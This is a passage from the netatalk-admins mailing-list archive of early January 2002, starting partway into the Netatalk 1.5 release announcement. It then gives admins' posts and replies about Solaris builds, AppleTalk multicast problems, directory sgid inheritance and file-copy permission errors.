Starting with version 1.5pre7, Netatalk is now licensed under the GNU
General Public License (GPL), which is used by many Open Source/Free
Software projects as their license of choice. We chose this license to
allow us to develop Netatalk as freely as possible and to ensure that
Netatalk will stay free in the future.

Netatalk now makes use of the GNU autotools (autoconf, automake, and
libtool) for building. This increases the portability of Netatalk as well
as the flexibility of the build system, and helps make the whole build
process more transparent. Ports to new platforms and enhancement to the
source code can now be handled much easier.

Netatalk 1.5 features a new experimental DID tracking system, based on
Berkeley DB3 files. The scheme, known as CNID-DB, is intended to end
various problems concerning aliases and disappearing files encountered in
earlier versions of Netatalk. This new DID scheme is scheduled to become the
default DID in future Netatalk versions.

Apart from these larger changes, a lot of work has gone into the Netatalk
source code and build process and we feel that the quality of the code base
has greatly improved since earlier releases.

Future Enhancements
~~~~~~~~~~~~~~~~~~~

Netatalk is an actively developed product and its functionality will be
enhanced in future versions. Some of the upcoming features include:

 * Further improvements in the build system for enhanced portability
 * AFP 3.0 support, including long file names
 * A new universal logging system
 * Persistent DID support (stable alias support) by default
 * Integrated Samba and NFS file locking
 * Long file name handling ("mangling") for older AppleShare clients
 * 100% QuarkXPress compatibility
 * Server-side find capability ("FPCatSearch")
 * Improved Documentation

Supported Platforms
~~~~~~~~~~~~~~~~~~~

As of Netatalk 1.5.0 the following operating systems are supported:

 * FreeBSD
 * Linux (Debian, Mandrake, RedHat, SuSE, others should work as well)
 * OpenBSD
 * Solaris (32bit flavors)
 * Tru64

Netatalk may compile and run on other operating systems as well, but
it is not well-tested on those. We welcome patches and suggestions
for enhancing the portability of Netatalk, though.

Availability
~~~~~~~~~~~~

Netatalk tar-balls can be found at http://me.in-berlin.de/~jroger/netatalk/.
Binaries for Debian GNU/Linux will be added to the unstable distribution
soon and will be available at every Debian non-US mirror. Binaries for
other operating systems will be made available at the SourceForge site
http://sourceforge.net/projects/netatalk/ as time permits.

Netatalk is also available via anonymous CVS. See the SourceForge project
site for anonymous CVS instructions. The main development is happening in
the trunk. Well-tested patches are back-ported to branch-1-5-prep branch,
from which the tar-balls are created.

Contact
~~~~~~~

For more information about Netatalk, see its web page at:
http://netatalk.sourceforge.net/

The project is hosted at SourceForge. The SourceForge project page is
located at: http://sourceforge.net/projects/netatalk/

The Netatalk development team can be reached via the mailing list
netatalk-devel@lists.sourceforge.net. For subscription information and
archives see Netatalk's SourceForge project page.

netatalk-admins@umich.edu is a mailing list for Netatalk system
administrators. For subscription information and archives see the
Netatalk web page.

Acknowledgements
~~~~~~~~~~~~~~~~

We would like to thank all contributors to the Netatalk project for
their commitment. Without the many suggestions, bug and problem reports,
patches, and reviews this project wouldn't be where it is.

 - The Netatalk Development Team, New Year's Eve 2001


From netatalk.administrators-errors@umich.edu  Tue Jan  1 19:27:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA10809
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 19:27:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA11233
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 19:27:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA11217
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 19:27:08 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA11161
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 19:27:07 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id KAA26745
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 10:25:50 +1000 (EST)
Message-ID: <3C3254A7.63E72DE7@qimr.edu.au>
Date: Wed, 02 Jan 2002 10:30:31 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [Fwd: Netatalk 1.5.0 Released!]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Xiaping Lin wrote:

> Well done everyone!
> But what about Solaris 8 64-bit platform? Has anyone compiled this release on
> Solaris 8 64-bit machine with gcc ?
> I have been waiting for this version and hope it to be free of following
> problems that I have come across with version 1.4b2+asun2.1.4:
>
> 1) Can not use gcc compiler, have to SUN C compiler which I don't have;
> 2) ddp drive problem, Server does not show up in Chooser.
>     error message in /var/adm/messages whenever netatalk starts:
>
> Dec 19 16:05:27  atalkd[11412]: [ID 441591 user.info] plumbed /dev/ge0
> Dec 19 16:05:27  atalkd[11413]: [ID 602610 daemon.info] restart
> (1.4b2+asun2.1.4)
> Dec 19 16:05:27  atalkd[11413]: [ID 430690 daemon.info] setsockopt incompatible
> w/ Solaris STREAMS module.
> Dec 19 16:05:29  atalkd[11413]: [ID 875075 daemon.info] zip_getnetinfo for ge0
> Dec 19 16:05:57  atalkd[11413]: [ID 877925 daemon.info] config for no router
> Dec 19 16:05:59  atalkd[11413]: [ID 430690 daemon.info] setsockopt incompatible
> w/ Solaris STREAMS module.
> Dec 19 16:05:59  atalkd[11413]: [ID 128247 daemon.info] ready 0/0/0
>
> Cheers!
>
> Xiaping Lin
>
> Sebastian Rittau wrote:
>
> >                      Netatalk 1.5 The New Year's Release
> >                      ===================================
> >
> > The Netatalk development team is proud to announce the final 1.5 release of
> > the Netatalk File Sharing suite. Netatalk is a collection of server programs
> > and utilities for handling various protocols employed by Apple Macintosh
> > computers on Unix compatible systems. The suite contains
> >
> >  * afpd - a file server that implements the Apple Filing Protocol, allowing
> >    clients running MacOS to access Unix file servers
> >  * atalkd - an implementation of the AppleTalk protocol
> >  * papd - a print server that enables Macintosh computers to access printers
> >    connected to Unix servers
> >  * timelord - a time server for synchronizing time over the network
> >  * megatron - a tool to convert files in Macintosh specific formats like
> >    BinHex, AppleSingle, or MacBinary into files, readable by Unix computers.
> >  * various other utilities
> >
> > News in Netatalk 1.5
> > ~~~~~~~~~~~~~~~~~~~~
> >
> > Since the early pre-release versions of Netatalk 1.5, Netatalk has been
> > hosted and developed on SourceForge (http://sourceforge.net/). This offers
> > a great variety of resources and tools to the project and helped to open
> > up the development process.
> >
> > Starting with version 1.5pre7, Netatalk is now licensed under the GNU
> > General Public License (GPL), which is used by many Open Source/Free
> > Software projects as their license of choice. We chose this license to
> > allow us to develop Netatalk as freely as possible and to ensure that
> > Netatalk will stay free in the future.
> >
> > Netatalk now makes use of the GNU autotools (autoconf, automake, and
> > libtool) for building. This increases the portability of Netatalk as well
> > as the flexibility of the build system, and helps make the whole build
> > process more transparent. Ports to new platforms and enhancement to the
> > source code can now be handled much easier.
> >
> > Netatalk 1.5 features a new experimental DID tracking system, based on
> > Berkeley DB3 files. The scheme, known as CNID-DB, is intended to end
> > various problems concerning aliases and disappearing files encountered in
> > earlier versions of Netatalk. This new DID scheme is scheduled to become the
> > default DID in future Netatalk versions.
> >
> > Apart from these larger changes, a lot of work has gone into the Netatalk
> > source code and build process and we feel that the quality of the code base
> > has greatly improved since earlier releases.
> >
> > Future Enhancements
> > ~~~~~~~~~~~~~~~~~~~
> >
> > Netatalk is an actively developed product and its functionality will be
> > enhanced in future versions. Some of the upcoming features include:
> >
> >  * Further improvements in the build system for enhanced portability
> >  * AFP 3.0 support, including long file names
> >  * A new universal logging system
> >  * Persistent DID support (stable alias support) by default
> >  * Integrated Samba and NFS file locking
> >  * Long file name handling ("mangling") for older AppleShare clients
> >  * 100% QuarkXPress compatibility
> >  * Server-side find capability ("FPCatSearch")
> >  * Improved Documentation
> >
> > Supported Platforms
> > ~~~~~~~~~~~~~~~~~~~
> >
> > As of Netatalk 1.5.0 the following operating systems are supported:
> >
> >  * FreeBSD
> >  * Linux (Debian, Mandrake, RedHat, SuSE, others should work as well)
> >  * OpenBSD
> >  * Solaris (32bit flavors)
> >  * Tru64
> >
> > Netatalk may compile and run on other operating systems as well, but
> > it is not well-tested on those. We welcome patches and suggestions
> > for enhancing the portability of Netatalk, though.
> >
> > Availability
> > ~~~~~~~~~~~~
> >
> > Netatalk tar-balls can be found at http://me.in-berlin.de/~jroger/netatalk/.
> > Binaries for Debian GNU/Linux will be added to the unstable distribution
> > soon and will be available at every Debian non-US mirror. Binaries for
> > other operating systems will be made available at the SourceForge site
> > http://sourceforge.net/projects/netatalk/ as time permits.
> >
> > Netatalk is also available via anonymous CVS. See the SourceForge project
> > site for anonymous CVS instructions. The main development is happening in
> > the trunk. Well-tested patches are back-ported to branch-1-5-prep branch,
> > from which the tar-balls are created.
> >
> > Contact
> > ~~~~~~~
> >
> > For more information about Netatalk, see its web page at:
> > http://netatalk.sourceforge.net/
> >
> > The project is hosted at SourceForge. The SourceForge project page is
> > located at: http://sourceforge.net/projects/netatalk/
> >
> > The Netatalk development team can be reached via the mailing list
> > netatalk-devel@lists.sourceforge.net. For subscription information and
> > archives see Netatalk's SourceForge project page.
> >
> > netatalk-admins@umich.edu is a mailing list for Netatalk system
> > administrators. For subscription information and archives see the
> > Netatalk web page.
> >
> > Acknowledgements
> > ~~~~~~~~~~~~~~~~
> >
> > We would like to thank all contributors to the Netatalk project for
> > their commitment. Without the many suggestions, bug and problem reports,
> > patches, and reviews this project wouldn't be where it is.
> >
> >  - The Netatalk Development Team, New Year's Eve 2001

--
Xiaping Lin
Information Technology
Queensland Institute of Medical Research
E-mail: xiapingL@qimr.edu.au
Ph:    61-7-33620231
fax:   61-7-33620111



From netatalk.administrators-errors@umich.edu  Tue Jan  1 19:27:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA10835
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 19:27:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA16547
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 19:27:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA16544
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 19:27:35 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA16534
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 19:27:34 -0500 (EST)
Received: from [192.168.0.174] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id g020QqK23786;
	Tue, 1 Jan 2002 16:26:52 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 01 Jan 2002 16:27:06 -0800
Subject: Re: [Netatalk-devel] Re: Netatalk 1.5.0 Released!
From: Steve Freitas <sflist@ihonk.com>
To: Xiaping Lin <xiapingL@qimr.edu.au>,
        Sebastian Rittau <srittau@jroger.in-berlin.de>
CC: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Message-ID: <B85793DA.A437%sflist@ihonk.com>
In-Reply-To: <3C324F4A.D654B70A@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

If I remember correctly, and I may not, I believe 1.5 compiles fine using
GCC, but that in order to compile the AppleTalk kernel module you need Sun's
compiler.

Please give it a try and let us know what you find. If there are problems,
there are those who would love to help fix them.

Steve

> From: Xiaping Lin <xiapingL@qimr.edu.au>
> Organization: QIMR
> Date: Wed, 02 Jan 2002 10:07:38 +1000
> To: Sebastian Rittau <srittau@jroger.in-berlin.de>
> Cc: wnetatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
> Subject: [Netatalk-devel] Re: Netatalk 1.5.0 Released!
> 
> Well done everyone!
> But what about Solaris 8 64-bit platform? Has anyone compiled this release on
> Solaris 8 64-bit machine with gcc ?
> I have been waiting for this version and hope it to be free of following
> problems that I have come across with version 1.4b2+asun2.1.4:
> 
> 1) Can not use gcc compiler, have to SUN C compiler which I don't have;
> 2) ddp drive problem, Server does not show up in Chooser.
> error message in /var/adm/messages whenever netatalk starts:
> 
> Dec 19 16:05:27  atalkd[11412]: [ID 441591 user.info] plumbed /dev/ge0
> Dec 19 16:05:27  atalkd[11413]: [ID 602610 daemon.info] restart
> (1.4b2+asun2.1.4)
> Dec 19 16:05:27  atalkd[11413]: [ID 430690 daemon.info] setsockopt
> incompatible
> w/ Solaris STREAMS module.
> Dec 19 16:05:29  atalkd[11413]: [ID 875075 daemon.info] zip_getnetinfo for ge0
> Dec 19 16:05:57  atalkd[11413]: [ID 877925 daemon.info] config for no router
> Dec 19 16:05:59  atalkd[11413]: [ID 430690 daemon.info] setsockopt
> incompatible
> w/ Solaris STREAMS module.
> Dec 19 16:05:59  atalkd[11413]: [ID 128247 daemon.info] ready 0/0/0
> 
> Cheers!
> 
> Xiaping Lin
> 
> Sebastian Rittau wrote:
> 
>> Netatalk 1.5 The New Year's Release
>> ===================================
>> 
>> The Netatalk development team is proud to announce the final 1.5 release of
>> the Netatalk File Sharing suite. Netatalk is a collection of server programs
>> and utilities for handling various protocols employed by Apple Macintosh
>> computers on Unix compatible systems. The suite contains
>> 
>> * afpd - a file server that implements the Apple Filing Protocol, allowing
>> clients running MacOS to access Unix file servers
>> * atalkd - an implementation of the AppleTalk protocol
>> * papd - a print server that enables Macintosh computers to access printers
>> connected to Unix servers
>> * timelord - a time server for synchronizing time over the network
>> * megatron - a tool to convert files in Macintosh specific formats like
>> BinHex, AppleSingle, or MacBinary into files, readable by Unix computers.
>> * various other utilities
>> 
>> News in Netatalk 1.5
>> ~~~~~~~~~~~~~~~~~~~~
>> 
>> Since the early pre-release versions of Netatalk 1.5, Netatalk has been
>> hosted and developed on SourceForge (http://sourceforge.net/). This offers
>> a great variety of resources and tools to the project and helped to open
>> up the development process.
>> 
>> Starting with version 1.5pre7, Netatalk is now licensed under the GNU
>> General Public License (GPL), which is used by many Open Source/Free
>> Software projects as their license of choice. We chose this license to
>> allow us to develop Netatalk as freely as possible and to ensure that
>> Netatalk will stay free in the future.
>> 
>> Netatalk now makes use of the GNU autotools (autoconf, automake, and
>> libtool) for building. This increases the portability of Netatalk as well
>> as the flexibility of the build system, and helps make the whole build
>> process more transparent. Ports to new platforms and enhancement to the
>> source code can now be handled much easier.
>> 
>> Netatalk 1.5 features a new experimental DID tracking system, based on
>> Berkeley DB3 files. The scheme, known as CNID-DB, is intended to end
>> various problems concerning aliases and disappearing files encountered in
>> earlier versions of Netatalk. This new DID scheme is scheduled to become the
>> default DID in future Netatalk versions.
>> 
>> Apart from these larger changes, a lot of work has gone into the Netatalk
>> source code and build process and we feel that the quality of the code base
>> has greatly improved since earlier releases.
>> 
>> Future Enhancements
>> ~~~~~~~~~~~~~~~~~~~
>> 
>> Netatalk is an actively developed product and its functionality will be
>> enhanced in future versions. Some of the upcoming features include:
>> 
>> * Further improvements in the build system for enhanced portability
>> * AFP 3.0 support, including long file names
>> * A new universal logging system
>> * Persistent DID support (stable alias support) by default
>> * Integrated Samba and NFS file locking
>> * Long file name handling ("mangling") for older AppleShare clients
>> * 100% QuarkXPress compatibility
>> * Server-side find capability ("FPCatSearch")
>> * Improved Documentation
>> 
>> Supported Platforms
>> ~~~~~~~~~~~~~~~~~~~
>> 
>> As of Netatalk 1.5.0 the following operating systems are supported:
>> 
>> * FreeBSD
>> * Linux (Debian, Mandrake, RedHat, SuSE, others should work as well)
>> * OpenBSD
>> * Solaris (32bit flavors)
>> * Tru64
>> 
>> Netatalk may compile and run on other operating systems as well, but
>> it is not well-tested on those. We welcome patches and suggestions
>> for enhancing the portability of Netatalk, though.
>> 
>> Availability
>> ~~~~~~~~~~~~
>> 
>> Netatalk tar-balls can be found at http://me.in-berlin.de/~jroger/netatalk/.
>> Binaries for Debian GNU/Linux will be added to the unstable distribution
>> soon and will be available at every Debian non-US mirror. Binaries for
>> other operating systems will be made available at the SourceForge site
>> http://sourceforge.net/projects/netatalk/ as time permits.
>> 
>> Netatalk is also available via anonymous CVS. See the SourceForge project
>> site for anonymous CVS instructions. The main development is happening in
>> the trunk. Well-tested patches are back-ported to branch-1-5-prep branch,
>> from which the tar-balls are created.
>> 
>> Contact
>> ~~~~~~~
>> 
>> For more information about Netatalk, see its web page at:
>> http://netatalk.sourceforge.net/
>> 
>> The project is hosted at SourceForge. The SourceForge project page is
>> located at: http://sourceforge.net/projects/netatalk/
>> 
>> The Netatalk development team can be reached via the mailing list
>> netatalk-devel@lists.sourceforge.net. For subscription information and
>> archives see Netatalk's SourceForge project page.
>> 
>> netatalk-admins@umich.edu is a mailing list for Netatalk system
>> administrators. For subscription information and archives see the
>> Netatalk web page.
>> 
>> Acknowledgements
>> ~~~~~~~~~~~~~~~~
>> 
>> We would like to thank all contributors to the Netatalk project for
>> their commitment. Without the many suggestions, bug and problem reports,
>> patches, and reviews this project wouldn't be where it is.
>> 
>> - The Netatalk Development Team, New Year's Eve 2001
> 
> 
> 
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel


From netatalk.administrators-errors@umich.edu  Tue Jan  1 21:27:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA14750
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 21:27:54 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA03276
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 21:27:54 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA03258
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 21:27:54 -0500 (EST)
Received: from anvil.prexar.com ([142.167.5.3])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA03232
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 21:27:53 -0500 (EST)
Received: from acadia.net ([142.167.45.78]) by anvil.prexar.com
          (InterMail vK.4.03.04.01 201-232-130-101 license e80ad4300c78461dee1883b377c18f00)
          with ESMTP id <20020102022751.XFH8098.anvil@acadia.net>
          for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 21:27:51 -0500
Message-ID: <3C326F4C.527B81CF@acadia.net>
Date: Tue, 01 Jan 2002 21:24:13 -0500
From: Chuck Liebow <cliebow@acadia.net>
X-Mailer: Mozilla 4.76 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: 1.5 rc2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I amcurrently running 1.5 release candidate at home with high degree of
success. Working the bugs out of my system. I find i must run in
promiscuous and multicast mode, and run init.d/atalk after eth0 is up to
make it work. Any suggestions welcomed. Chuck Liebow IT Ellsworth School
System Maine.


From netatalk.administrators-errors@umich.edu  Tue Jan  1 21:43:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA15169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 21:43:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA00197
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 21:43:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA00187
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 21:43:34 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA00171
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 21:43:33 -0500 (EST)
Received: from [192.168.0.174] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id g022h5K30447;
	Tue, 1 Jan 2002 18:43:05 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 01 Jan 2002 18:43:12 -0800
Subject: Re: 1.5 rc2
From: Steve Freitas <sflist@ihonk.com>
To: Chuck Liebow <cliebow@acadia.net>, <netatalk-admins@umich.edu>
Message-ID: <B857B3BF.A445%sflist@ihonk.com>
In-Reply-To: <3C326F4C.527B81CF@acadia.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

What kind of ethernet card are you using? A number of cards, including
Intel's eepro100 have multicast issues.

> From: Chuck Liebow <cliebow@acadia.net>
> Date: Tue, 01 Jan 2002 21:24:13 -0500
> To: netatalk-admins@umich.edu
> Subject: 1.5 rc2
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 1 Jan 2002 21:30:14 -0500 (EST)
> 
> I amcurrently running 1.5 release candidate at home with high degree of
> success. Working the bugs out of my system. I find i must run in
> promiscuous and multicast mode, and run init.d/atalk after eth0 is up to
> make it work. Any suggestions welcomed. Chuck Liebow IT Ellsworth School
> System Maine.


From netatalk.administrators-errors@umich.edu  Tue Jan  1 23:54:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA19598
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 23:54:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA24231
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 23:54:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA24221
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 23:54:16 -0500 (EST)
Received: from toccata.netconnect.net (toccata.netconnect.net [152.156.2.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id XAA24194
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 23:54:15 -0500 (EST)
Received: from netconnect.net (hosta.netconnect.net [152.156.2.1])
	by toccata.netconnect.net (8.11.0/8.11.0) with ESMTP id g024pwQ16789
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 20:52:04 -0800 (PST)
Message-ID: <3C329304.2060708@netconnect.net>
Date: Tue, 01 Jan 2002 20:56:36 -0800
From: Greg <greg@netconnect.net>
Reply-To: greg@netconnect.net
Organization: Netconnect Services Group
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4) Gecko/20011022 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: unsubscribe
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

unsubscribe


From netatalk.administrators-errors@umich.edu  Wed Jan  2 09:53:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA10334
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 Jan 2002 09:53:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA08091
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 Jan 2002 09:53:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA08085
	for netatalk.administrators-members@umich.edu; Wed, 2 Jan 2002 09:53:56 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA08068
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 09:53:54 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000169710 for <netatalk-admins@umich.edu>; Wed, 02 Jan 2002 15:53:51 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101001b858cde8eb8c@[192.168.1.201]>
Date: Wed, 2 Jan 2002 15:53:47 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: directory sgid inheritance (was: security issue,nt1.5rc2+OSX...)
Content-Type: text/plain; charset="us-ascii"


Sorry if I'm insisting on this, but I'm fairly astonished that this doesn't seem to represent a problem for anybody else; on the other hand, maybe I missed some new option in rc2 / release:

how is it possible to make newly created directories via Finder on netatalk shares to inherit the sticky bit  on the group no matter how 'deep' they are in the share tree?

(still having the behavior of: first directory created: inherits; subdirectories of new directory: don't...)

this as  of 1.5rc2, but I browsed thru the last changes mails on netatalk-devel and couldn't find somebody telling that this was changed from rc2 to release...

thanx for listening,

Regards, and a HNY
Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Jan  2 10:10:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA11182
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 Jan 2002 10:10:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA10944
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 Jan 2002 10:10:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA10935
	for netatalk.administrators-members@umich.edu; Wed, 2 Jan 2002 10:10:51 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA10889
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 10:10:50 -0500 (EST)
Subject: File Copy issues
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Date: Wed, 2 Jan 2002 10:10:48 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D7481@ksvcmail.ksvc.com>
X-MS-Has-Attach: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
content-class: urn:content-classes:message
X-MS-TNEF-Correlator: 
Thread-Topic: File Copy issues
Thread-Index: AcGTnXL+kEm0vuvPT42n6eb7Lv1EQwAAQ85Q
From: "Brian Curtis" <Bcurtis@KSVC.com>
To: <netatalk-admins@umich.edu>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA11182

I am trying to copy large folders to my Red Hat linux box running Netatalk.  They are mostly graphic files with in folders and go many folders deep.  What happens is when I copy the folder, which may be a gig in size everything works until it gets to a file that it can not copy, such as a tif.  The problem usually happens with .tiff or .mpeg files and is quote annoying.  If I copy these files one at a time to a different folder then copy them into the folder that I originally tried everything works.

Obviously with about 30Gigabites of data this scheme does not work very well.  The error message I receive always has to do with permissions even though the same user created the folder.

Is there a way to remove permissions from the system and then reaply security aftwards?

From netatalk.administrators-errors@umich.edu  Wed Jan  2 11:24:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA15882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 Jan 2002 11:24:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA29534
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 Jan 2002 11:24:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA29522
	for netatalk.administrators-members@umich.edu; Wed, 2 Jan 2002 11:24:49 -0500 (EST)
Received: from uis-1.unitedis.com (uis-1.unitedis.com [209.49.196.15])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA29502
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 11:24:49 -0500 (EST)
Message-Id: <200201021624.LAA29502@kingcreole.mr.itd.umich.edu>
Received: (qmail 15734 invoked from network); 2 Jan 2002 16:24:48 -0000
